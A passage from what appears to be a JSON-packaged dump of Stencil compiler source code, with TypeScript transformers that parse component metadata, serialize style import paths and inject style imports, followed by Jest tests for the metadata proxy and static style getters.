else if (attrName.startsWith('xlink')) {\n            m.hasVdomXlink = true;\n            m.hasVdomPropOrAttr = true;\n          } else {\n            m.hasVdomPropOrAttr = true;\n          }\n          ts.SyntaxKind.StringLiteral;\n          if (attrName === 'part' && ts.isPropertyAssignment(prop) && ts.isStringLiteral(prop.initializer)) {\n            m.htmlParts.push(\n              ...prop.initializer.text\n                .toLowerCase()\n                .split(' ')\n                .filter((part) => part.length > 0),\n            );\n          }\n          m.htmlAttrNames.push(attrName);\n        }\n      });\n    }\n  }\n\n  // Parse children\n  if (!m.hasVdomText) {\n    for (let i = 2; i < args.length; i++) {\n      const arg = args[i];\n      if (!ts.isCallExpression(arg) || !ts.isIdentifier(arg.expression) || arg.expression.text !== 'h') {\n        m.hasVdomText = true;\n        break;\n      }\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/visitor.ts",
    "content": "import { dirname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getModuleLegacy, resetModuleLegacy } from '../../build/compiler-ctx';\nimport { parseCallExpression } from './call-expression';\nimport { parseStaticComponentMeta } from './component';\nimport { parseModuleImport } from './import';\nimport { parseStringLiteral } from './string-literal';\n\nexport const convertStaticToMeta = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  typeChecker: ts.TypeChecker,\n  collection: d.CollectionCompilerMeta | null,\n  transformOpts: d.TransformOptions,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    let dirPath: string;\n    let moduleFile: d.Module;\n\n    const visitNode = (node: ts.Node): ts.VisitResult<ts.Node> => {\n      if (ts.isClassDeclaration(node)) {\n        return parseStaticComponentMeta(compilerCtx, typeChecker, node, moduleFile, buildCtx, transformOpts);\n      } else if (ts.isImportDeclaration(node)) {\n        parseModuleImport(config, compilerCtx, buildCtx, moduleFile, dirPath, node, !transformOpts.isolatedModules);\n      } else if (ts.isCallExpression(node)) {\n        parseCallExpression(moduleFile, node, typeChecker);\n      } else if (ts.isStringLiteral(node)) {\n        parseStringLiteral(moduleFile, node);\n      }\n      return ts.visitEachChild(node, visitNode, transformCtx);\n    };\n\n    return (tsSourceFile) => {\n      dirPath = dirname(tsSourceFile.fileName);\n      moduleFile = getModuleLegacy(compilerCtx, tsSourceFile.fileName);\n      resetModuleLegacy(moduleFile);\n\n      if (collection != null) {\n        moduleFile.isCollectionDependency = true;\n        moduleFile.collectionName = collection.collectionName;\n        collection.moduleFiles.push(moduleFile);\n      } else {\n        moduleFile.isCollectionDependency = false;\n        moduleFile.collectionName = null;\n      }\n      if (!moduleFile.staticSourceFile) {\n        moduleFile.staticSourceFile = tsSourceFile;\n        moduleFile.staticSourceFileText = tsSourceFile.getFullText();\n      }\n      return visitNode(tsSourceFile) as ts.SourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/static-to-meta/watchers.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getStaticValue } from '../transform-utils';\n\nexport const parseStaticWatchers = (staticMembers: ts.ClassElement[]): d.ComponentCompilerChangeHandler[] => {\n  const parsedWatchers: d.ComponentCompilerChangeHandler[] = getStaticValue(staticMembers, 'watchers');\n  if (!parsedWatchers || parsedWatchers.length === 0) {\n    return [];\n  }\n\n  return parsedWatchers.map((parsedWatch) => {\n    return {\n      propName: parsedWatch.propName,\n      methodName: parsedWatch.methodName,\n      handlerOptions: parsedWatch.handlerOptions,\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/transformers/stencil-import-path.ts",
    "content": "import { DEFAULT_STYLE_MODE, isString, relative } from '@utils';\nimport { basename, dirname, isAbsolute } from 'path';\n\nimport type { ImportData, ParsedImport, SerializeImportData } from '../../declarations';\n\n/**\n * Serialize data about a style import to an annotated path, where\n * the filename has a URL query params style string appended to it.\n * This could look like:\n *\n * ```\n * './some-file.CSS?tag=my-tag&mode=ios&encapsulation=scoped');\n * ```\n *\n * @param data import data to be serialized\n * @param styleImportData an argument which controls whether the import data\n * will be added to the path (formatted as query params)\n * @returns a formatted string\n */\nexport const serializeImportPath = (data: SerializeImportData, styleImportData: string | undefined | null): string => {\n  let p = data.importeePath;\n\n  if (isString(p)) {\n    if (isString(data.importerPath) && isAbsolute(data.importeePath)) {\n      p = relative(dirname(data.importerPath), data.importeePath);\n    }\n    // Don't add ./ prefix for node module imports (bare module specifiers)\n    // They should be resolved by the bundler's module resolution\n    if (!p.startsWith('.') && !data.isNodeModule) {\n      p = './' + p;\n    }\n\n    if (styleImportData === 'queryparams' || styleImportData === undefined) {\n      const paramData: ImportData = {};\n      if (isString(data.tag)) {\n        paramData.tag = data.tag;\n      }\n      if (isString(data.mode) && data.mode !== DEFAULT_STYLE_MODE) {\n        paramData.mode = data.mode;\n      }\n      if (isString(data.encapsulation) && data.encapsulation !== 'none') {\n        paramData.encapsulation = data.encapsulation;\n      }\n      const paramEntries = Object.entries(paramData);\n      if (paramEntries.length > 0) {\n        const params = new URLSearchParams(paramEntries);\n        p += '?' + params.toString();\n      }\n    }\n  }\n\n  return p;\n};\n\n/**\n * Parse import paths (filepaths possibly annotated w/ component metadata,\n * formatted as URL query params) into a structured format.\n *\n * @param importPath an annotated import path to examine\n * @returns formatted information about the import\n */\nexport const parseImportPath = (importPath: string) => {\n  const parsedPath: ParsedImport = {\n    importPath,\n    basename: null,\n    ext: null,\n    data: null,\n  };\n\n  if (isString(importPath)) {\n    const pathParts = importPath.split('?');\n\n    parsedPath.basename = basename(pathParts[0].trim());\n    const extParts = parsedPath.basename.toLowerCase().split('.');\n    if (extParts.length > 1) {\n      parsedPath.ext = extParts[extParts.length - 1];\n      if (parsedPath.ext === 'ts' && extParts[extParts.length - 2] === 'd') {\n        parsedPath.ext = 'd.ts';\n      }\n    }\n\n    if (pathParts.length > 1) {\n      const params = pathParts[1];\n      const urlParams = new URLSearchParams(params);\n      const tag = urlParams.get('tag');\n      if (tag != null) {\n        parsedPath.data = {\n          tag,\n          encapsulation: urlParams.get('encapsulation') || 'none',\n          mode: urlParams.get('mode') || DEFAULT_STYLE_MODE,\n        };\n      }\n    } else if (parsedPath.basename.endsWith('.css')) {\n      parsedPath.data = {\n        encapsulation: 'none',\n      };\n    }\n  }\n\n  return parsedPath;\n};\n"
  },
  {
    "path": "src/compiler/transformers/style-imports.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { serializeImportPath } from './stencil-import-path';\nimport { getExternalStyles, retrieveTsModifiers } from './transform-utils';\n\n/**\n * This function adds imports (either in ESM or CJS syntax) for styles that are\n * imported from the component's styleUrls option. For example, if a component\n * has the following:\n *\n * ```ts\n * @Component({\n *  styleUrls: ['my-component.css', 'my-component.ios.css']\n * })\n * export class MyComponent {\n *   // ...\n * }\n * ```\n *\n * then this function will add the following import statement:\n *\n * ```ts\n * import MyComponentStyle0 from './my-component.css';\n * import MyComponentStyle1 from './my-component.ios.css';\n * ```\n *\n * Note that import identifier are used in [`addStaticStyleGetterWithinClass`](src/compiler/transformers/add-static-style.ts)\n * to attach them to a components static style property.\n *\n * @param transformOpts transform options configured for the current output target transpilation\n * @param tsSourceFile the TypeScript source file that is being updated\n * @param moduleFile component file to update\n * @returns an updated source file with the added import statements\n */\nexport const updateStyleImports = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  moduleFile: d.Module,\n) => {\n  // add style imports built from @Component() styleUrl option\n  if (transformOpts.module === 'cjs') {\n    return updateCjsStyleRequires(transformOpts, tsSourceFile, moduleFile);\n  }\n\n  return updateEsmStyleImports(transformOpts, tsSourceFile, moduleFile);\n};\n\n/**\n * Iterate over all components defined in given module, collect import\n * statements to be added and update source file with them.\n * @param transformOpts transform options configured for the current output target transpilation\n * @param tsSourceFile the TypeScript source file that is being updated\n * @param moduleFile component file to update\n * @returns update source file with added import statements\n */\nconst updateEsmStyleImports = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  moduleFile: d.Module,\n) => {\n  const styleImports: ts.Statement[] = [];\n  let statements = tsSourceFile.statements.slice();\n  let updateSourceFile = false;\n\n  moduleFile.cmps.forEach((cmp) => {\n    cmp.styles.forEach((style) => {\n      if (typeof style.styleIdentifier === 'string') {\n        updateSourceFile = true;\n        if (style.externalStyles.length > 0) {\n          // add style imports built from @Component() styleUrl option\n          styleImports.push(...createStyleImport(transformOpts, tsSourceFile, cmp, style));\n        } else {\n          // update existing esm import of a style identifier\n          statements = updateEsmStyleImportPath(transformOpts, tsSourceFile, statements, cmp, style);\n        }\n      }\n    });\n  });\n\n  if (updateSourceFile) {\n    let lastImportIndex = -1;\n\n    for (let i = 0; i < statements.length; i++) {\n      if (ts.isImportDeclaration(statements[i])) {\n        lastImportIndex = i;\n      }\n    }\n\n    statements.splice(lastImportIndex + 1, 0, ...styleImports);\n\n    return ts.factory.updateSourceFile(tsSourceFile, statements);\n  }\n\n  return tsSourceFile;\n};\n\nconst updateEsmStyleImportPath = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  statements: ts.Statement[],\n  cmp: d.ComponentCompilerMeta,\n  style: d.StyleCompiler,\n): ts.Statement[] => {\n  for (let i = 0; i < statements.length; i++) {\n    const n = statements[i];\n    if (ts.isImportDeclaration(n) && n.importClause && n.moduleSpecifier && ts.isStringLiteral(n.moduleSpecifier)) {\n      if (n.importClause.name && n.importClause.name.escapedText === style.styleIdentifier) {\n        const orgImportPath = n.moduleSpecifier.text;\n        const importPath = getStyleImportPath(transformOpts, tsSourceFile, cmp, style, orgImportPath);\n\n        statements[i] = ts.factory.updateImportDeclaration(\n          n,\n          retrieveTsModifiers(n),\n          n.importClause,\n          ts.factory.createStringLiteral(importPath),\n          undefined,\n        );\n        break;\n      }\n    }\n  }\n  return statements;\n};\n\n/**\n * Add import or require statement for each style\n * e.g. `import CMP__import_path_css from './import-path.css';`\n *\n * @param transformOpts transform options configured for the current output target transpilation\n * @param tsSourceFile the TypeScript source file that is being updated\n * @param cmp component meta data\n * @param style style meta data\n * @param moduleType module type (either 'esm' or 'cjs')\n * @returns an set or import or require statements to add to the source file\n */\nconst createStyleImport = <ModuleType extends 'esm' | 'cjs'>(\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  cmp: d.ComponentCompilerMeta,\n  style: d.StyleCompiler,\n  /**\n   * default to 'esm' if not provided, behavior defined in `updateStyleImports`\n   */\n  moduleType: ModuleType = 'esm' as ModuleType,\n) => {\n  type ImportDeclarationOrVariableStatementType = ModuleType extends 'esm'\n    ? ts.ImportDeclaration\n    : ts.VariableStatement;\n  const imports: ImportDeclarationOrVariableStatementType[] = [];\n\n  for (const [i, externalStyle] of Object.entries(getExternalStyles(style))) {\n    /**\n     * Concat styleId and absolutePath to get a unique identifier for each style.\n     *\n     * For example:\n     * ```ts\n     * @Component({\n     *   styleUrls: {\n     *     md: './foo/bar.css',\n     *     ios: './bar/foo.css'\n     *   },\n     *   tag: 'cmp-a'\n     * })\n     * ```\n     *\n     * it would create the following identifiers:\n     * ```ts\n     * import CmpAStyle0 from './foo/bar.css';\n     * import CmpAStyle1 from './bar/foo.css';\n     * ```\n     *\n     * Attention: if you make changes to how this identifier is created you also need\n     * to update this in [`createStyleIdentifierFromUrl`](`src/compiler/transformers/add-static-style.ts`).\n     */\n    const styleIdentifier = `${style.styleIdentifier}${i}`;\n    const importIdentifier = ts.factory.createIdentifier(styleIdentifier);\n    const importPath = getStyleImportPath(transformOpts, tsSourceFile, cmp, style, externalStyle);\n\n    if (moduleType === 'esm') {\n      imports.push(\n        ts.factory.createImportDeclaration(\n          undefined,\n          ts.factory.createImportClause(false, importIdentifier, undefined),\n          ts.factory.createStringLiteral(importPath),\n        ) as ImportDeclarationOrVariableStatementType,\n      );\n    } else if (moduleType === 'cjs') {\n      imports.push(\n        ts.factory.createVariableStatement(\n          undefined,\n          ts.factory.createVariableDeclarationList(\n            [\n              ts.factory.createVariableDeclaration(\n                importIdentifier,\n                undefined,\n                undefined,\n                ts.factory.createCallExpression(\n                  ts.factory.createIdentifier('require'),\n                  [],\n                  [ts.factory.createStringLiteral(importPath)],\n                ),\n              ),\n            ],\n            ts.NodeFlags.Const,\n          ),\n        ) as ImportDeclarationOrVariableStatementType,\n      );\n    } else {\n      throw new Error(`Invalid module type: ${moduleType}`);\n    }\n  }\n\n  return imports;\n};\n\n/**\n * Iterate over all components defined in given module, collect require\n * statements to be added and update source file with them.\n * @param transformOpts transform options configured for the current output target transpilation\n * @param tsSourceFile the TypeScript source file that is being updated\n * @param moduleFile component file to update\n * @returns update source file with added import statements\n */\nconst updateCjsStyleRequires = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  moduleFile: d.Module,\n) => {\n  const styleRequires: ts.Statement[] = [];\n\n  moduleFile.cmps.forEach((cmp) => {\n    cmp.styles.forEach((style) => {\n      if (typeof style.styleIdentifier === 'string' && style.externalStyles.length > 0) {\n        // add style imports built from @Component() styleUrl option\n        styleRequires.push(...createStyleImport(transformOpts, tsSourceFile, cmp, style));\n      }\n    });\n  });\n\n  if (styleRequires.length > 0) {\n    return ts.factory.updateSourceFile(tsSourceFile, [...styleRequires, ...tsSourceFile.statements]);\n  }\n\n  return tsSourceFile;\n};\n\nconst getStyleImportPath = (\n  transformOpts: d.TransformOptions,\n  tsSourceFile: ts.SourceFile,\n  cmp: d.ComponentCompilerMeta,\n  style: d.StyleCompiler,\n  importPath: string,\n) => {\n  const importData: d.SerializeImportData = {\n    importeePath: importPath,\n    importerPath: tsSourceFile.fileName,\n    tag: cmp.tagName,\n    encapsulation: cmp.encapsulation,\n    mode: style.modeName,\n  };\n  return serializeImportPath(importData, transformOpts.styleImportData);\n};\n"
  },
  {
    "path": "src/compiler/transformers/test/add-component-meta-proxy.spec.ts",
    "content": "import ts from 'typescript';\n\nimport { stubComponentCompilerMeta } from '../../../compiler/types/tests/ComponentCompilerMeta.stub';\nimport type * as d from '../../../declarations';\nimport * as FormatComponentRuntimeMeta from '../../../utils/format-component-runtime-meta';\nimport { createClassMetadataProxy } from '../add-component-meta-proxy';\nimport { HTML_ELEMENT } from '../core-runtime-apis';\nimport * as TransformUtils from '../transform-utils';\n\ndescribe('add-component-meta-proxy', () => {\n  describe('createClassMetadataProxy()', () => {\n    let classExpr: ts.ClassExpression;\n    let htmlElementHeritageClause: ts.HeritageClause;\n    let literalMetadata: ts.StringLiteral;\n\n    let formatComponentRuntimeMetaSpy: jest.SpyInstance<\n      ReturnType<typeof FormatComponentRuntimeMeta.formatComponentRuntimeMeta>,\n      Parameters<typeof FormatComponentRuntimeMeta.formatComponentRuntimeMeta>\n    >;\n    let convertValueToLiteralSpy: jest.SpyInstance<\n      ReturnType<typeof TransformUtils.convertValueToLiteral>,\n      Parameters<typeof TransformUtils.convertValueToLiteral>\n    >;\n\n    beforeEach(() => {\n      htmlElementHeritageClause = ts.factory.createHeritageClause(ts.SyntaxKind.ExtendsKeyword, [\n        ts.factory.createExpressionWithTypeArguments(ts.factory.createIdentifier(HTML_ELEMENT), []),\n      ]);\n\n      classExpr = ts.factory.createClassExpression(\n        undefined,\n        'MyComponent',\n        undefined,\n        [htmlElementHeritageClause],\n        [],\n      );\n      literalMetadata = ts.factory.createStringLiteral('MyComponent');\n\n      formatComponentRuntimeMetaSpy = jest.spyOn(FormatComponentRuntimeMeta, 'formatComponentRuntimeMeta');\n      formatComponentRuntimeMetaSpy.mockImplementation(\n        (_compilerMeta: d.ComponentCompilerMeta, _includeMethods: boolean) => [0, 'tag-name'],\n      );\n\n      convertValueToLiteralSpy = jest.spyOn(TransformUtils, 'convertValueToLiteral');\n      convertValueToLiteralSpy.mockImplementation((_compactMeta: d.ComponentRuntimeMetaCompact) => literalMetadata);\n    });\n\n    afterEach(() => {\n      formatComponentRuntimeMetaSpy.mockRestore();\n      convertValueToLiteralSpy.mockRestore();\n    });\n\n    it('returns a call expression', () => {\n      const result: ts.CallExpression = createClassMetadataProxy(stubComponentCompilerMeta(), classExpr);\n\n      expect(ts.isCallExpression(result)).toBe(true);\n    });\n\n    it('wraps the initializer in PROXY_CUSTOM_ELEMENT', () => {\n      const result: ts.CallExpression = createClassMetadataProxy(stubComponentCompilerMeta(), classExpr);\n\n      expect((result.expression as ts.Identifier).escapedText).toBe('___stencil_proxyCustomElement');\n    });\n\n    it(\"doesn't add any type arguments to the call\", () => {\n      const result: ts.CallExpression = createClassMetadataProxy(stubComponentCompilerMeta(), classExpr);\n\n      expect(result.typeArguments).toHaveLength(0);\n    });\n\n    it('adds the correct arguments to the PROXY_CUSTOM_ELEMENT call', () => {\n      const result: ts.CallExpression = createClassMetadataProxy(stubComponentCompilerMeta(), classExpr);\n\n      expect(result.arguments).toHaveLength(2);\n      expect(result.arguments[0]).toBe(classExpr);\n      expect(result.arguments[1]).toBe(literalMetadata);\n    });\n\n    it('includes the heritage clause', () => {\n      const result: ts.CallExpression = createClassMetadataProxy(stubComponentCompilerMeta(), classExpr);\n\n      expect(result.arguments.length).toBeGreaterThanOrEqual(1);\n      const createdClassExpression = result.arguments[0];\n\n      expect(ts.isClassExpression(createdClassExpression)).toBe(true);\n      expect((createdClassExpression as ts.ClassExpression).heritageClauses).toHaveLength(1);\n      expect((createdClassExpression as ts.ClassExpression).heritageClauses[0]).toBe(htmlElementHeritageClause);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/add-static-style.spec.ts",
    "content": "// Mock the shadow-css module before any imports\njest.mock('@utils/shadow-css', () => {\n  const originalModule = jest.requireActual('@utils/shadow-css');\n  return {\n    ...originalModule,\n    scopeCss: jest.fn((cssText: string, scopeId: string) => {\n      // Simple mock implementation that adds scoped classes\n      return cssText.replace(/(\\.[a-zA-Z-_][a-zA-Z0-9-_]*)/g, `$1.${scopeId}`);\n    }),\n  };\n});\n\nimport { mockBuildCtx } from '@stencil/core/testing';\nimport ts from 'typescript';\nimport type * as d from '../../../declarations';\nimport {\n  addStaticStyleGetterWithinClass,\n  addStaticStylePropertyToClass,\n  createStyleIdentifier,\n} from '../add-static-style';\n\ndescribe('add-static-style', () => {\n  let buildCtx: d.BuildCtx;\n  let mockComponent: d.ComponentCompilerMeta;\n  let printer: ts.Printer;\n  let sourceFile: ts.SourceFile;\n\n  beforeEach(() => {\n    buildCtx = mockBuildCtx();\n    buildCtx.config.extras = { additionalTagTransformers: false };\n\n    mockComponent = {\n      componentClassName: 'MyComponent',\n      tagName: 'my-component',\n      encapsulation: 'none',\n      styles: [],\n    } as d.ComponentCompilerMeta;\n\n    printer = ts.createPrinter({ newLine: ts.NewLineKind.LineFeed });\n    sourceFile = ts.createSourceFile('test.ts', '', ts.ScriptTarget.ES2015);\n  });\n\n  describe('addStaticStyleGetterWithinClass', () => {\n    it('should add static style getter for single inline style', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      expect(ts.isIdentifier(getter.name)).toBe(true);\n      expect((getter.name as ts.Identifier).text).toBe('style');\n      expect(getter.modifiers).toBeDefined();\n      expect(getter.modifiers!.some((m) => m.kind === ts.SyntaxKind.StaticKeyword)).toBe(true);\n\n      // Check actual output\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      expect(output).toContain('md: `.my-component { color: red; }`');\n    });\n\n    it('should add static style getter for multiple style modes', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        },\n        {\n          modeName: 'ios',\n          styleStr: '.my-component { color: blue; }',\n        },\n      ] as d.StyleCompiler[];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      // Check actual output\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      expect(output).toContain('md:');\n      expect(output).toContain('ios:');\n      expect(output).toContain('.my-component { color: red; }');\n      expect(output).toContain('.my-component { color: blue; }');\n    });\n\n    it('should add static style getter for external style URLs', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          externalStyles: [{ absolutePath: '/path/to/style.css' }],\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      // Check actual output\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      expect(output).toContain('md: MyComponentMdStyle0');\n    });\n\n    it('should add static style getter for direct style identifier', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleIdentifier: 'myImportedStyle',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n    });\n\n    it('should not add getter when no styles are provided', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(0);\n    });\n\n    it('should handle scoped encapsulation', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.encapsulation = 'scoped';\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      // Check actual output - should include scoped CSS\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      // Should contain the scoped class name from our mock\n      expect(output).toContain('.sc-my-component-md');\n    });\n  });\n\n  describe('addStaticStylePropertyToClass', () => {\n    it('should add static style property assignment for single inline style', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n\n      const statement = styleStatements[0] as ts.ExpressionStatement;\n      expect(ts.isBinaryExpression(statement.expression)).toBe(true);\n\n      const assignment = statement.expression as ts.BinaryExpression;\n      expect(assignment.operatorToken.kind).toBe(ts.SyntaxKind.EqualsToken);\n\n      // Check actual output\n      const output = printer.printNode(ts.EmitHint.Unspecified, statement, sourceFile);\n      expect(output).toContain('MyComponent.style = {');\n      expect(output).toContain('md: `.my-component { color: red; }`');\n    });\n\n    it('should add static style property for multiple style modes', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        },\n        {\n          modeName: 'ios',\n          styleStr: '.my-component { color: blue; }',\n        },\n      ] as d.StyleCompiler[];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n\n      // Check actual output\n      const statement = styleStatements[0] as ts.ExpressionStatement;\n      const output = printer.printNode(ts.EmitHint.Unspecified, statement, sourceFile);\n      expect(output).toContain('MyComponent.style = {');\n      expect(output).toContain('md:');\n      expect(output).toContain('ios:');\n      expect(output).toContain('.my-component { color: red; }');\n      expect(output).toContain('.my-component { color: blue; }');\n    });\n\n    it('should add static style property for external style URLs', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          externalStyles: [{ absolutePath: '/path/to/style.css' }],\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n\n      // Check actual output\n      const statement = styleStatements[0] as ts.ExpressionStatement;\n      const output = printer.printNode(ts.EmitHint.Unspecified, statement, sourceFile);\n      expect(output).toContain('MyComponent.style = {');\n      expect(output).toContain('md: MyComponentMdStyle0');\n    });\n\n    it('should add static style property for direct style identifier', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleIdentifier: 'myImportedStyle',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n    });\n\n    it('should not add statement when no styles are provided', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(0);\n    });\n\n    it('should handle scoped encapsulation', () => {\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.encapsulation = 'scoped';\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n    });\n\n    it('should handle tag transform configuration', () => {\n      buildCtx.config.extras.additionalTagTransformers = true;\n      buildCtx.components = [{ tagName: 'other-component' }] as d.ComponentCompilerMeta[];\n\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; } other-component { color: blue; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(styleStatements).toHaveLength(1);\n      expect(ts.isExpressionStatement(styleStatements[0])).toBe(true);\n\n      // Check actual output - should include tag transformation logic\n      const statement = styleStatements[0] as ts.ExpressionStatement;\n      const output = printer.printNode(ts.EmitHint.Unspecified, statement, sourceFile);\n      expect(output).toContain('MyComponent.style = {');\n      expect(output).toContain(\n        'md: `.my-component { color: red; } ${__stencil_transformTag(\"other-component\")} { color: blue; }`',\n      );\n    });\n  });\n\n  describe('createStyleIdentifier', () => {\n    it('should create style identifier with default mode', () => {\n      const style: d.StyleCompiler = {\n        modeName: 'md',\n        externalStyles: [{ absolutePath: '/path/to/style.css' }],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyComponentMdStyle');\n      expect(ts.isCallExpression(result)).toBe(true);\n\n      // Check actual output\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('MyComponentMdStyle0()');\n    });\n\n    it('should create style identifier with custom mode', () => {\n      const style: d.StyleCompiler = {\n        modeName: 'ios',\n        externalStyles: [{ absolutePath: '/path/to/style.css' }],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyComponentIosStyle');\n      expect(ts.isCallExpression(result)).toBe(true);\n    });\n\n    it('should create binary expression for multiple external styles', () => {\n      const style: d.StyleCompiler = {\n        modeName: 'md',\n        externalStyles: [{ absolutePath: '/path/to/style1.css' }, { absolutePath: '/path/to/style2.css' }],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyComponentMdStyle');\n      // MyComponentMdStyle0() + MyComponentMdStyle1()\n      expect(ts.isBinaryExpression(result)).toBe(true);\n\n      // Check actual output\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('MyComponentMdStyle0() + MyComponentMdStyle1()');\n    });\n\n    it('should handle component with dashes in tag name', () => {\n      mockComponent.tagName = 'my-custom-component';\n      const style: d.StyleCompiler = {\n        modeName: 'md',\n        externalStyles: [{ absolutePath: '/path/to/style.css' }],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyCustomComponentMdStyle');\n      expect(ts.isCallExpression(result)).toBe(true);\n    });\n\n    it('should handle component with uppercase tag name', () => {\n      mockComponent.tagName = 'MY-COMPONENT';\n      const style: d.StyleCompiler = {\n        modeName: 'md',\n        externalStyles: [{ absolutePath: '/path/to/style.css' }],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyComponentMdStyle');\n      expect(ts.isCallExpression(result)).toBe(true);\n    });\n\n    it('should handle multiple external styles with complex binary expression', () => {\n      const style: d.StyleCompiler = {\n        modeName: 'ios',\n        externalStyles: [\n          { absolutePath: 